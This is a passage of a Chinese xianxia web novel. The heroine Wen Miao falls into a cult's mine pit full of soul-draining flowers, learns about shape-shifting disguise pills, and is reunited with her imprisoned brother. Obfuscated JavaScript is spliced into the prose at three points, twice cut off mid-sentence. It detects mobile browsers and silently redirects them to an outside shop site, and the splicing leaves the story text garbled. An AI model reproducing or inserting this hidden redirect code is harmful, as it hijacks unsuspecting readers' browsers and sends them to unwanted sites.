“你此刻平安,他们自然也无事。”他似乎被问得烦了,又道:“堂堂琅华弟子,若能死在这种小把戏上,不如将仙箓当纸钱烧给他们。” 温渺没想到文雅公子一张口,居然吐出这么刻薄的话来,一时不知如何接话,讪讪道:“话不能这么说的……” 凌雨扫了她一眼,见她腿脚走动无恙,立刻松了手。 温渺跟在他身后,扭头看了看四周,同伴们的身影已经彻底被雾气遮掩。 她还记得上一回遇上不信教的教徒,她在雾气中见到了幻象,都是西陵府已经逝去的人。紧接着便有阿娘的声音在耳边说话,引诱着她往前走,还提到什么“天道已死”,要回到花园去这样的话。 她将这些转告给曦衡君,他也只是说,这些是邪道惯使的幻术,利用人心中执念或恐惧,诱人入他们的陷阱。 虽然心知那些幻象都是陷阱,可身处浓浓雾气中,温渺却有些隐秘的期待,期待能再次见到阿娘她们。 然而等了好久,那些幻象依然没有出现,温渺甚至有些难言的失落,她小声问凌雨:“你有见到幻象吗?” 凌雨:“什么幻象?” 温渺道:“我上次遇上过不信教,也遇到这种雾气了,然后就看到了幻象……” 凌雨:“是吗,幻象中有什么?” 她道:“有很多我不舍得的人,他们都背对着我,一直往前走,怎么叫都不回头。” 凌雨却轻笑一声,道:“那你不舍得的人还不少。” 温渺被他这一声笑惹得不满,但又想到人家未必知道她那些人都死了,笑一声也许并非是恶意,叹口气又自己平复了。 她提醒道:“一会儿或许你也能看到幻象,你一定要记得无论什么都是假的,可别被骗进去了。” 凌雨睨了她一眼,问:“那你怎么没被骗进去?” 温渺想到上回西陵砚忽然冒出来,那些教徒被他杀光了,所以幻象才消失的,但她在那之前也没有迷失其中,也不知什么原因。 于是她说:“不清楚,可能是因为我见到的人都不在了,那就肯定是假的,何况前辈说了,世上是没有鬼的。” 凌雨脚步顿了一下,似是深吸了一口气,语气忽然变得冰冷。 “怎么会没有鬼……分明是有的……” 温渺也没想到他重点是这个,张着嘴怔了一会儿,只好又顺着他说:“鬼这个……谁也没见过,说……说不准是有的……” 凌雨没有应她的话,自顾自往前走。 温渺时刻注意着前方,见到有古怪便追上前去,然而每一次都没见到熟悉的身影。 凌雨见到她失落的神情,道:“你想见到幻象。” 温渺有些赧然,分明自己还在提醒别人不要被骗进去,此刻却又想再次见到逝去之人的幻影,这说法实在是站不住脚。 但她还是坦然道:“我太想他们了,就算是幻象,让我看一眼也好。” 凌雨道:“死了就是死了,用你珍视的东西化作假象来欺骗你,何必要看。” 温渺被点醒,点头道:“你说得对,我阿娘他们不会想要死后被利用来做坏事的……” 他冷冷道:“敢利用幻象玩弄我之人,我必杀他。” 听到凌雨的话,温渺一时间也有些汗颜。 她之前总听人说,琅华的人奸恶好斗,现在看连一个文弱乐师都这么喊打喊杀,她终于相信民风剽悍不是胡诌…… 这山路走了许久,温渺幽幽叹息,她不仅将前方的同伴们走丢了,连肚子都走饿了。 就是不知道为什么这一回没有幻象了,以至于她都有点着急什么时候才能见到不信教,恨不得仰天大喊我是教徒让我入教。 凌雨听到动静回过头,才发现温渺不知道什么时候,从腰间的布兜里拿出了一包油纸包着的点心。 她嘴里塞了一块,将剩下的递给他。 “喏,吃点儿。” 凌雨收回目光。“多谢,我不饿。” 温渺点头,含糊不清地嘟囔道:“这枣糕掺泥巴了?这么干,比我阿娘做得差远了……” 凌雨再回头,看到她被噎得捶胸口,欲言又止了一下,叹口气,又默默收回目光。 温渺终于艰难地咽下了枣糕,就听耳边有什么隐约的声响。 本以为是自己都被噎得耳鸣了,正想再感叹两句难吃,就听那声音好似雨点一般越来越大,逐渐清晰起来。 “有生有灭,无知无觉!” “寻声救苦,度人无量!” 还真是冤枉枣糕了。 她看向前方,那个背着阮琴的身影已经离她很远,远得在雾气中都有些模糊不清了。 温渺忙要喊他,却发现周身多出许多陌生人影来,又忍住了这股冲动,以免将这些人引到他身边。 那些陌生的人影越聚越多,道路也不知在什么时候变得宽阔,最后她几乎是被这些人影裹挟着往前走。 这批人声势浩大,每个人都像中邪了一样齐声高呼。 被夹在其中的温渺索性也跟着喊。 她一边喊一边看这些人影中有没有熟人。 教徒有不少是行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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温渺犹豫着要不要问一问周围的教徒,但又怕触碰到什么禁忌,一眼被识破是仙门的修士。 她扭过头看了看四周,只有左侧坐着一个身形单薄,披散着一头黑发的人,发丝掩映下似是一张少年的脸。 温渺见他在这冷得牙打颤的洞里穿这么单薄,想着他或许也是个被迷惑心智,骗到矿山来的可怜人,便轻轻拍了拍他的手臂。 “小郎君,穿上吧,洞里很冷的……” 温渺将自己的外袍脱下递给他。 那少年扭过头,昏暗的光线下,一张脸愣是让温渺愣住,不知是否该改口喊姑娘。 西陵砚虽美得惊心动魄,穿着艳丽的桃红,却丝毫不显得女气。 而这少年却是有着一张雌雄莫辨的脸。 他接过外袍,笑道:“多谢,祝你早日回到花园。” 这祝福多少有点恩将仇报了。 温渺只能干笑两声以作回应。 随后他披上外袍缓缓起身,竟直接迈过其他人的头顶,往中心走过去了。 温渺愕然地看着他,只见少年停在中央,忽然振臂一挥,喊道:“有生有灭,无知无觉!” 随后矿洞中的人整齐划一,高声附和:“寻声救苦,度人无量!” 那少年站在中央,对着一处伸出手,说:“今日教中来了不少访客,其中有你的好友,或许正是为你而来,今日,便让他们加入我教,走向正途,拯救他们的执迷!” 他的话还未说完,一个人影已经从黑暗处缓缓走向中央。 温渺看清了他的脸,脸色猛然一变,唰地站起身。 11.第 11 章 在温渺开口之前,琅华弟子发觉败露,毫不犹豫出手。 “是邪影菩萨!” “众人结阵!” 曦衡君素风出鞘,剑影在洞窟中回旋,将少年和他身侧之人围绕其中。 少年从容不迫地看向曦衡君,道:“对好友直接出杀招?” 曦衡君却冷喝一声:“住口!” 他扫了温渺一眼,大声道:“他不是温朗!” “你怎么知道不是?”少年抖了抖袖子,一柄短刀落在手中。 温渺看到那张和温朗一模一样的脸,险些忍不住叫出声。 此时琅华弟子已经有条不紊划开战线,几人去拖住娀影,剩下的负责将此处的百姓救出。 片刻恍神后,温渺迅速清醒。 她既向曦衡君寻求帮助,便该全然相信他的话。 然后在场的教徒,有些见众人交手还能惊慌地往外跑,有些却对眼前的一切恍若未闻,甚至是冲上去试图帮助娀影攻击修士。 温渺不管不顾,上前拽住两个人朝矿洞外跑。 刚跑出去,其中一人又喊叫着“功德无量”往回跑。 温渺大惊失色,连忙又伸手去拉。 正在此时,有同伴连扛带拖送出来三人,路过顺手一脚将他踢出一丈远,那人顿时倒地不起。 同伴头也不回地对她说:“遇到这样中邪的直接打晕。” 温渺点点头,又再次冲了进去。 还有意识的教徒们多半已经争先恐后的离开了矿洞,仍剩下许多试图攻击围攻娀影的修士,甚至还有一部分正前赴后继想要往深不见底的矿坑里跳。 曦衡君等人一边要拖住娀影,一边还要防止误伤。 教徒中显然也有不少修邪道的妖人,琅华修士很快落了下风,被打得且战且退。 温渺冲进去后,立刻拖住了一个要往矿坑里跳的教徒。 娀影的身形在黑暗中仿佛鬼魂一般,游走不定难以捉摸方向。 洞窟中的烛火被缭乱的剑影熄灭,只剩各种术法剑光交织而出的炫目光彩,时而照见出教徒们的疯狂姿态。 温渺抱着教徒往外拖,却又被后方涌来的几个人影给猛得撞向矿坑的方位。 她学着运用灵力,一掌将冲上来的人击退几步,勉强站稳脚步,没有跟着掉下去。 然而正逢此刻,一个人影闪身到她面前。 洞中有修士召出了神霄雷法,雷霆之势灌顶而下,也将洞窟中的景象一瞬间照得彻亮。 温渺只来得及看到一张美若观音的脸,那张脸上挂着一种似在戏耍她的微笑。 “抓到你了。” “小枣!” 温渺听到曦衡君一声呼喊的时候,已经被一掌击中朝后倒去,失重感让她连惊呼都发不出。 意识到自己在下坠的时候,温渺已经按照荐微的教导,引导灵气走遍周身气脉,将肉身护住最大程度降低伤势。 等她重重摔倒在地下的时候,虽然还是摔得一阵闷疼,缓了好一会儿才爬起来,却没有多余的伤。 四周一片漆黑,还伴随着一股怪异的花香。 温渺看到洞顶的光亮,爬起来第一件事便大喊:“我没事!” 洞中阴冷至极,踩在脚底的也不知是什么东西,柔软又凹凸不平,温渺想到方才那些跳进矿坑的教徒,意识到脚底可能踩着什么,一阵不寒而栗。 她没学会那些飞天入地的术法,这么高的洞窟单凭她是出不去的,只能一边小心翼翼摸索着,试图找到几个活人打晕后方便其他人救走。 很快她脚下一个趔趄,正好抓到不知谁的衣角,连忙上手去摸,却被那人猛地甩开。 温渺当即一手抓去,扬掌就要劈晕对方。 劈到一半手腕被制住,她惊呼出声又要一招打过去。 “是我。” 黑暗中忽然响起熟悉的人声,温渺惊讶道:“你怎么在这儿?” 凌雨道:“被挤下来了。” 温渺问:“你没事吧?” 他语气平静:“险险有事。” 这指的是方才被温渺劈的那一下。 温渺心虚道:“对不住,这里太黑了,我以为你也是教徒,他们中邪了,打晕更好救人。” 说完她又猛然想起一件事,问:“你妹妹呢,有看到她吗?” “未曾见到,或许已经不在此处了。” 她安慰:“也许是被救出去了,你不要太担心。” 凌雨没有回应,洞中隐约能听窸窣的声响。 温渺渐渐觉得不对,问:“方才跳进来那么多人,怎么没有人说话呢?” 不止说话,这些人连哀嚎都没有。 凌雨道:“这里阴炁冲天,你察觉不到吗?” 温渺惭愧。“我学艺不精……” 说完后,她碎碎念道:“好香啊,洞里长了什么花吗?” 凌雨的语气又开始不耐起来。 “你想知道,用火令照明不就好了。” 温渺又惭愧了。“我学艺不精……” 矿坑中沉默了好一会儿。 直到温渺听到了叹气声,随即又是毫不文雅的一声“啧”。 一道火焰轰然升起,短暂照亮了矿坑,很快又重归黯淡。 然而只是这短暂的一瞬,足以让人看清矿坑内的景象。 温渺吓得几乎双腿一软,惊叫一声往后退,撞到凌雨又被他毫不客气地推了一把。 矿坑中是密密麻麻堆叠起来的人,几乎看不见地面,就连他们现在也是踩在那些人身上。 虽然温渺早有这种觉悟,但肉眼看到,冲击力还是非同凡响,尤其是那些人的身上都长出了一种洁白的花朵,有些是从口鼻,有些是从胸口,那些花穿透皮肉,洁白美丽的花在这种环境下显得尤为狰狞。 温渺忽然跪在地上,一边抖一边在地上乱摸起来。 凌雨还以为她被吓傻了,对这莫名其妙的行为很是不解,问:“你做什么?” 温渺吓得连声音都发虚,动作倒是没停。 “找找活人,肯定还有人活着,要把他们救出去……” 说着她便摸到一个仍温热有弹性的人,喊道:“这个还活着!” 然而下一刻,她便摸到了那人自口中长出的妖花。 “长……长花了,但人还没死?” 凌雨道:“睡着而已,等妖花吸干了他们的灵力才会死。” 温渺试探道:“这花能拔出来吗?” 说是说,但她也不敢贸然尝试。 凌雨也不多话,俯身捉住一朵花猛得一拽。 温渺听到一阵诡异到令人肉麻的噗嗤声,再然后,似乎是什么东西被丢到了地上。 她问:“你做了什么?” 凌雨甩着手,语气嫌恶。“这花根长在脏腑,拔一下肠子都要出来了。” 温渺怒道:“你把人肠子拔出来了!” 凌雨不慌不忙道:“死人,已经被花吸干了。” 她这才压住火气,但想到自己吼了人家,又道歉:“对不住,是我性子太急了。” 说完后,她又忍不住问:“你不是乐师吗……怎么……一点也不怕?” 凌雨平静道:“我出身琅华,是蛮夷。” 温渺没想到他话说得这么直,又赶紧补充道:“话不能这样说,怎能凭借出身妄定人的品行修养,你其实还是……” 她想要说上两句好话,一时间竟想不出合适的词,只憋出一句:“还是很好的人,阮弹得很好听。” 他们说话的间隙,头顶的修士已经和娀影打得昏天黑天,中间还有几个教徒掉进了矿坑,温渺还试图将人接住后打昏,却发现自己的灵力仿佛滞涩在体内,无法运用自如。 温渺道:“是这花香搞的鬼吗?我体内的灵气好像变少了。” “这花会吸人灵气,闻到花香之时,已在你我体内扎根了。” 人体内的灵气都有限度,凡人的生长与衰老,便是灵气从充盈到耗尽的过程,这些花将人的灵气吸干,这些人自然也不剩几日。 而修士能够突破大限,从天地中吸纳灵气充盈自身,因此他们暂时只是无法用出灵气,却没有像其他坠入矿坑的人一般立刻陷入沉睡。 温渺反应到这一点,索性拔出刀来,一朵朵将妖花斩断。 上方交手中的曦衡君仍时刻担忧矿坑中的温渺,听到洞中没了动静,焦急地喊道:“小枣,你怎么样了!” 温渺大声道:“我无事,前辈当心!矿坑中有白色妖花,会吸走灵气,让人沉睡不醒!” 她刚说完,矿坑中忽然响起弦音。 温渺问:“你的翦花琴有用吗?” “嗯。”他又停下,从容不迫地调了调琴弦。“或许可以破除妖花制造的幻象。” “那你方才怎么不用?”温渺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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整座矿山都因为他的举动而发出震颤,众人不得不紧急往外跑,力所能及将教徒救出。 眼见矿山已经滚落山石,将洞口都埋住一半了,曦衡君才发现温渺没出来,吓得脸色一白,忙要冲进去找人,却见自己的同伴喘着气跑出来,说:“傻丫头给那琴师找妹妹,都要出来了又往回跑!” 曦衡君几乎是目眦欲裂:“你就让她跑?” 同伴反驳道:“你是没看见她跑的有多快!我被那教主打得灵气都耗尽了,能怎么办?” 他说着,地面震动起来,整座矿山轰然一声,随即漫天尘灰,铺天盖地遮蔽了视线。 “啊!”曦衡君绝望地叫了一声。 他几乎想好了抱着温渺的尸体,在温朗面前自刎谢罪的场面。 忽然,飘散的灰土中,一个小土包动了动,随后拱出个人头,再然后,又拱出半个身子…… 温渺灰头土脸地钻出来,咳嗽两声,大喊:“前辈帮帮忙,我没劲儿了!” 她喊完呸呸吐了一嘴泥灰,喘着气,忍不住想,枣糕还是比泥好太吃多了。 方才被她推出来的修士跑过去,帮着她将她背上的教徒拽起,顺便对着她劈头盖脸一顿教训:“什么没劲儿了,我看你劲儿大得很!不要命,怎么不再回去救两个!” 曦衡君也惨白着脸给她拍灰,手甚至还有些发抖,边拍边说:“你吓死我了,真的吓死我了,我日后绝不带上你……” 温渺歉疚道:“对不住,我以后肯定小心行事……但凌雨,他也只剩一个妹妹了,我想……” 凌雨走近,问她:“我什么?” 温渺见他来,兴奋地拽过方才救出的人,说:“我找到你妹妹了!你看!” 他却皱眉,一把推开温渺,抬手便迎了过去。 双掌交接,凌雨直接被打飞出两丈远。 一个修士接住凌雨,他不顾口中溢出的猩红,阴着脸看了看自己的手。 而对方同样也被他击飞,重重摔倒在地后,被一道剑气穿过心口。 曦衡君解释道:“是邪修。” 温渺愣住,慌忙跑向凌雨。 他瞥了她一眼,抹掉嘴角的血,烦躁道:“哪儿来的东西,敢冒充我妹妹……” 12.第 12 章 温渺真的以为自己找到了凌雨的妹妹,她将人救出来的时候,仿佛像找到了温朗一样高兴。 她没想到,自己不顾安危,竟是救出一个坏人,不仅没能帮到凌雨,反害得他受伤。 她心中自责不已,忙低头道歉:“对不住,都是我的错,我把你给害了。” 凌雨白了她一眼,淡淡道:“徒有善心的是不够的。” 她白着脸点头,没有说话,直到余光瞥见地上的死尸,面色赫然变得惊恐,拔腿朝着那人冲了过去。 温渺扑在地上,看着已经浑身遍布伤口,已然断气的温朗,脑子嗡嗡作响。 不是说这不是她哥吗? 这不是假扮的吗? 可人死了,易容丹和术法都应该失效才对,为什么还是她哥的样子? 温渺已经很多年没有见过哥哥了,可她记得他的模样,即便和记忆中相差甚远,她也绝不会认错。 她扭过头看向曦衡君,颤着声问:“这是……” 曦衡君朝她走来,正要开口解释,却被另一道声音打断。 “他是你什么人?” 温渺朝凌雨看去,他目光探究,正紧紧盯着她。 她被温朗的死相刺激,并未立刻应声,反倒是曦衡君跑来将她从尸体边带离,道:“温朗英俊正直,我知晓你爱慕他,但他现在被下了天诛令,是榜上有名的奸恶之徒,你还是收起这份心思的好。” 温渺立刻明白了曦衡君的意思,可她仍不住望向地上的尸体。 “这是……这是怎么一回事?” 在场修士众多,人人都知晓曦衡君与温朗交情好。 苍山的少主被温朗杀了,琅华虽然下了天诛令,他们也只是听命行事,对温朗没什么恶意,更不会为难一个爱慕他的年轻小修士,反倒是有些同情她这注定无疾无终的情意。 有人劝她:“曦衡君说得是,小枣你还是想开点,天诛榜上的人,要么死要么自堕魔道,无论如何,你都不好再跟他扯上关系……” “是啊是啊,而且剑修出了名的缺心眼,视剑如命就算了,一个个都装得很,选道侣一定要避开剑修。” “你说什么呢!你试过几个剑修,少造谣了!” “我说得有什么不对?你们剑修的风评还用得着造谣?” 几句争执下来,话锋已经彻底走偏,几人开始攻击彼此的修行法门,甚至还扯着曦衡君去评理,已经忘了开头是在安慰温渺。 只有温渺还站在原地对着温朗的尸身不知所措。 凌雨走到她身边,睨了地上的温朗一眼,道:“假的。” 温渺不解:“可是……” 凌雨轻嗤一声,道:“你连自己爱慕的人都认不出?” 温渺不说话了,他接着说:“听说过无相吗?” 温渺摇摇头,凌雨叹息,道:“不说你是昆仑本派的外门,我还当你是从什么穷乡僻壤出来的村妇。” 温渺听了也不生气,只是认真地看着他,说:“不懂我会问,不会的也可以学,你说我笨就好了,不要拿村妇当贬低人的话。” 凌雨看着她,脸上有一瞬的愕然,很快又消失不见,他沉默了一下,才说:“我从前也见过你这种人,徒有善心,蠢得很,最后好人没好报,死得惨状万分。” 温渺为他口中的人惋惜,却仍是说:“好人没好报,那是世道的错,再不济也是恶人的错,不能怪她心善。” 凌雨却冷哼一声,说:“弱者行善,害人害己,怎会没有错,像你方才一般。” 温渺愣了一下,皱着眉沉思片刻,说:“是我抱歉……” 但她想了想,觉得有什么不对,一时间却没想出反驳的话来。 那边的修士越吵越激烈,两方人各自抱住吵得最凶的同伴,俩人隔着空气叫骂着拳打脚踢。 凌雨看也不看,已经撇开话题,道:“这世上有一类妖人,是上古灵兽的后裔,可以变幻出旁人的形貌,且能做到毫无破绽,无论是重伤,亦或是身死,都不会现出本体……” 温渺这才想起来,她虽然已经记不清无相的名称,但她从前是在书上看到过的。 那个时候她还在西陵府,西陵砚每到年末会病重到起床都艰难,长久躺在病榻上无趣至极,她会坐在一旁给他念书,有时候是时兴的志怪杂谈,有时是当下的奇闻轶事。 书上说过,无相虽能变化形貌,但也不是轻而易举,必须要极为熟悉本人,才能变得一模一样,大多无相都要通过半年甚至一年多的练习,才能模仿出身边人的模样。 不过这一族也有人天赋异禀,一月甚至是半月,便能将对方模仿得惟妙惟肖。 那时候有世家大族,会重金培养无相,除了出席要务,必要时还会替死。 也有少许人,例如西陵氏,将无相视为妖邪,不肯随波逐流。 温渺只在书上见过,一时见到真的,不住惊叹:“居然是无相变的?” 凌雨却道:“无相早已灭迹,能活到如今的,必然也不会轻易身亡。” “灭迹?可我那时……”温渺说到一半察觉险些说漏嘴,忙闭口不言。 凌雨用脚尖碰了碰地上的尸体,淡淡道:“约莫百年前,仙门出了一名药修,炼制出一种可以使人如无相般变幻容颜,且毫无破绽的易容丹,即便重伤也不会现出原貌。” 温渺不禁皱眉。 这种好事,付出的代价必然不小,何况如果能天衣无缝地变幻容貌,世上岂不是要出许多乱子。 凌雨似乎看出她心中所想,接着说:“此药一出,世人争抢不断,有人想冒名顶替,有人想要绝色容颜,当真是供不应求……” “那这个药……” “这易容丹,需要无相的血肉。” 温渺骇然,立刻道:“这简直是丧尽天良!” “还不止呢。”凌雨笑了笑,说:“一个小宗,靠着炼制此药,成了苍山第一药师派。有个无相认为族人遭到迫害,为了报复,伪装成掌门的模样奸污了掌门夫人,那夫人受此侮辱自缢而亡,掌门一怒之下散尽家财,说是要清剿妖邪,便将当世的无相尽数杀灭了。” 温渺听得整个人都呆住了,怔愣道:“这还有天理吗?” 用活人血肉炼制的丹药受人追捧,使得天下纷争不断。仇恨掌门却将下作的报复用在对方妻子身上。名门正派打着除魔卫道的名义,因私仇灭了一族。 温渺听得一腔愤懑。“公道何在,就没人管管吗,仙盟的规矩呢?” 凌雨回应她的只有一声冷笑。 此刻身后因为修行法门争执的人安抚完,曦衡君也跑过来,见温渺神色悲戚,连忙宽慰:“这个真的不是温朗,这是用了易容丹,你听我说……” “我已向她解释过,不必废言了。” 曦衡君看了看他,目光有些严肃,而后将温渺拉到一旁,小声道:“你离他远些,不要走太近了。这类易容丹被列入禁物,仅在露城有售卖,一介散修知晓此类易容丹存世,必然不是太安分的人。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13457883|139541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 温渺想到凌雨理直气壮说自己是琅华的蛮夷,不由点了点头,但一想到人家方才还被她连累,替她挡招受了伤,顿时又觉得自己有点狼心狗肺了,面色为难道:“但他方才为我挡了一掌,可能他的人品会有点……” 她一时想不到合适的形容词,只好说:“有点灵活……但也未必是恶人。” 曦衡君叹了口气,说:“毕竟是琅华的人,你说得有几分道理,但还是要多加小心,知道吗?” “嗯,我会当心的。” 他又强调道:“总之你要相信我,我一定会带你找到温朗的。” 温渺点头:“我相信曦衡君。” 她刚说完,回过头,那边的凌雨正遥遥看向他们,更准确地说,是看向曦衡君。 他面上又挂回了温雅的笑,却是在说:“话说起来,曦衡君一眼便笃定此人是假冒,该说不愧是至交好友,默契非常。” 曦衡君表情僵了一瞬,才说:“琅华对他发下天诛令,我与他早已殊途,再说这些又有何意义,” 凌雨似惋惜地叹气,道:“眼下虽殊途,曾经却是同道,如何教人不感慨……” 曦衡君听得面色不大好,打断他将话岔开。 “救出的百姓还需救治,我已派人去通知附近的仙门,我还要带人回琅华复命,凌道友……” 话未说完,凌雨又咳嗽起来,嘴角溢出一抹殷红,又被他默默擦去,整个人好似更虚弱了。 温渺这才想起妖花的事,忙道:“曦衡君,那妖花会根植人的脏腑,矿坑中的众人多多少少都闻到了香气,会不会出什么事。” 曦衡君点头:“是听闻过此类妖花,还是回琅华,请药师来看看才好。” 他说着,顿了一顿,才道:“凌公子,你与我们同行吧,若身体无碍,再找寻你妹妹的踪迹也不迟,我们也会让辖境内的人多留意。” 凌雨点头:“那便多谢曦衡君了。” “应该的。” —— 解决了不信教以后,众修士赶回去复命要积极许多,不过一日便到了琅华派辖境。 看过药师,众人服过杀死妖花的丹药后,曦衡君让其他人先回去复命,自己却带着温渺转而去了琅华境内的永州城。 凌雨原本也是要去琅华的,奈何他说是去永州拜访一位故人,正好顺路,也跟着一起来了,直到永州才分开。 温渺到了永州,街市上人来人往,安乐繁荣,并未如传闻那般“蛮夷”。 “我看琅华也挺好的,只是寻常百姓而已,哪有如传言一般……”温渺不禁道。 曦衡君苦笑道:“永州是特例,此处属我师叔陈不诲管辖,他为人正直磊落,嫉恶如仇,才将永州城治理得眼下这般和睦。” 温渺道:“陈前辈就是曦衡君要拜访的人吗?” “正是,他是我师叔。” 说着,俩人已经到了府门前,曦衡君让温渺先在原地等候,自己先去通报一声。 温渺正等着,忽听身后有人唤她,扭过头去,凌雨不知何时又出现在此处。 温渺道:“凌公子,你不是去找人了吗?” 他轻笑。“已经找到了。” 温渺:“那你现在是路过吗……” 凌雨看着她,说:“我还有一事,忘记询问小枣姑娘了。” 她有些奇怪,问:“什么事?” “温朗也爱慕姑娘吗?”他面上的微笑让温渺感到不自在。“是否爱到愿为你而死呢?” 13.第 13 章 温渺被凌雨莫名其妙的话问得一头雾水,还未想出如何答复,曦衡君已经通报完要带她进去。 见到凌雨也在,曦衡君不禁皱眉。“凌道友为何也在此处,是有事吗?” 凌雨笑了笑,道: “碰巧而已,我也该走了,二位道友,再会。” 曦衡君没再多说,带着温渺走入府邸。 他边走边道:“陈师叔是永州的统辖,永州的正气司都归他管,当地大小仙门都很敬重他,不过师叔太忙了,此刻不在府中……” 温渺点点头,只见一位打扮利落的妇人朝他们走来,面上还带着和善的笑意。 她问:“子进,这位便是你说的小枣姑娘吗?” 曦衡君本名徐子进,温渺还是第一次听到有人称他的名字,料想是位长辈,也礼貌道:“见过前辈。” “正是。赵前辈,我这次来,是为上回关押在狱中的魔道妖人而来,我还有些事没有审问清楚,还请前辈领我们进去。” 温渺有些奇怪,审问魔道为什么要将她也带去,但不解归不解,曦衡君做事必然有他的道理,她也没有发问。 赵前辈点头,应道:“你们跟我来吧。” 温渺跟上,不等她问,曦衡君便说:“赵前辈是永州霜刀派的掌门,与陈前辈亦是道侣,时常替陈前辈坐镇永州,处理大小杂事。两位都是侠义心肠的好人……” 赵前辈神色亲善,语气却一本正经。“你不用说这番话恭维于我,此事无论如何要有个说法,我虽不会眼睁睁看正义之士枉死,也不能无根无据地庇佑他。” 曦衡君连连应道:“前辈说得是。” 温渺心中渐渐猜测到了什么,用询问的目光看向曦衡君,他冲她安抚一笑,轻拍她的肩膀。 温渺忽然觉得心里一颗巨石不仅落了地,还变成了雀跃的小鸟扑棱翅膀。 监牢外有重重看守,精铁打造的大门上还设下了法阵,进入的方式极为繁琐。 走进监牢,日光瞬间被割裂在外,只剩阴暗不见天日的阴冷。 温朗在这儿待了很久吗? 这么黑的监牢,他会不会很冷,他背负冤屈一定不好受,是不是也一直放心不下她? 温渺迫切地想看到温朗,甚至想呼喊他的名字。 她走得很急,目光在昏暗的牢房中四处扫视,企图能看到熟悉的面孔。 然而那些人身上散发着浓郁的阴炁,似鬼似妖,无不姿态古怪,他们都不会是她哥哥。 赵前辈似乎看出她心中所想,叹了口气,道:“小姑娘莫要心急,他的处境比这些魔道中人可好上太多。” 说着领她停在一个空牢房前,手上结印,掌下忽然流光一现,牢房中的景象乍然起了变化。 只见潮湿昏暗的牢房,忽然多了些简单的陈设,连同牢房中的人影也一同显了形。 那个人瞪着一双黑亮的眼睛,紧盯着温渺的瞳孔似乎在颤动,他张了张唇,却是一点声音也没发出来。 赵前辈见此模样,拉开门,轻声道:“进去吧,不会有人来打搅。” 温渺紧绷的身躯几乎是像离弦的箭,猛然飞出去重重撞在温朗的怀里。 “哥!” 她只喊了一声,便连一句完整的话也说不出,不能自抑地嚎啕大哭起来。 一梦百年过后,周身的人事面目全非,所有珍视的一切早已化作灰飞。 无人能体会的惶恐,难以诉说出口的悲痛,尽数在此刻化为眼泪,流向百年后唯一仍亲切的存在。 自从西陵氏灭门,温朗抱着一身是血的温渺,满面血泪地磕头求着荐微救她之后,无论受多重的伤,背负再大的冤屈,他也不曾再流过泪。 然而此刻,他听着温渺在怀里放声大哭,还是忍不住红了眼眶,任由泪水在眼中打转。 见她哭得伤心,他想要开口劝慰,却是什么也说不出,只能一下一下地轻拍她的后背。 温渺哭了许久,一直到脑袋昏昏沉沉,才渐渐停歇。 温朗这才道:“你醒了就好……醒了就好。” 她感觉到有湿意滴在她脖颈,而后她被抱得更紧。 温朗深吸口气,嗓音微颤:“我等了好久好久。” 温渺抽噎着擦掉眼泪,与温朗席地而坐,并肩靠在墙上。 无限酸楚,万般滋味,一齐涌上心头,两人竟是一阵默然无话。 良久后,温渺紧握着温朗的手,将醒后发生的一切告知他,包括她醒来后,知晓他被通缉,求着曦衡君带自己下山来找他的事。 温朗听到她遇上西陵砚,立刻紧皱眉头,要似乎是想骂点什么,但又强压下了去,让她接着往下讲。 待她说完,他才愤愤不平说起自己的事。 温渺虽对他话中的人物陌生,但也能大致听懂发生了何事。 —— 温朗杀死的苍山少主柳雪堂,是柳无负的独子。 温朗与他早有过节,这事在仙门间并不是什么秘闻。 至于原因也十分简单。 仙门间常有切磋比试,五大仙门中也时常派出门中新秀,去其他仙门精进学习,并通过年轻一辈交好,拉拢彼此所在的仙门。 依照入门的年纪,温朗是柳雪堂的晚辈,偏偏俩人的出身是天差地别。 虽然修士嘴上说不论出身,但谁都知道这种话根本就是狗屁。 温朗当年作为一个家仆出身,出师不久的昆仑新秀,打败了彼时风头无量的天之骄子柳雪堂。 身为苍山少主,柳雪堂还算有些真才实学,加上他心高气傲,常年受人恭维,苍山与琅华的修士见他都要礼让几分。 寻常人宁愿藏拙输个一招半式,也不想惹上这种麻烦的人物。 奈何当时的温朗并不这样想,他是个向来以耿直和不看人眼色而闻名的剑修, 且他虽出身平凡,却从不因此自轻,最瞧不起自恃尊贵,被人捧得鼻孔朝天的上等人。 更重要的是,那时候的他经历过西陵氏灭门,对苍山与琅华的憎恶达到了顶峰。 即便柳雪堂只是苍山随便一个修士,温朗都会将他打得满地狗爬,更不必说他还是苍山的少主。 谁不知道西陵氏灭门惨案的源头,跟苍山脱不了干系。 死了这么多人,苍山最后竟只是推了几个人出来顶罪,柳雪堂还能风光如往昔,让人如何不气愤。 尤其是那柳雪堂,拔剑之前,还傲慢至极地问:“听说你从前是在西陵府当家仆的?真是运气好,要不是进了昆仑,怕也难逃此劫。” 温朗曾是西陵府的家仆,他仅剩的亲人都死在了府中,这件事众人皆知。 此事不提也罢,一提起来,柳雪堂这顿打是如何也避不开的。 因此若最后他因气愤,拂了柳雪堂的面子倒也还好,顶多柳雪堂小心眼记恨他,倒也不敢理直气壮找他报复。 然而温朗最后的做法,不仅是拂了柳雪堂的面子,那简直是将柳雪堂的面子撕下来放在脚底狠狠踩,踩完还要吐上口水扔到夜壶里的程度。 俩人同是剑修,温朗斩断了柳雪堂的剑后,一招一式都朝着他的嘴打,打得他满口碎牙混着血开不了口。 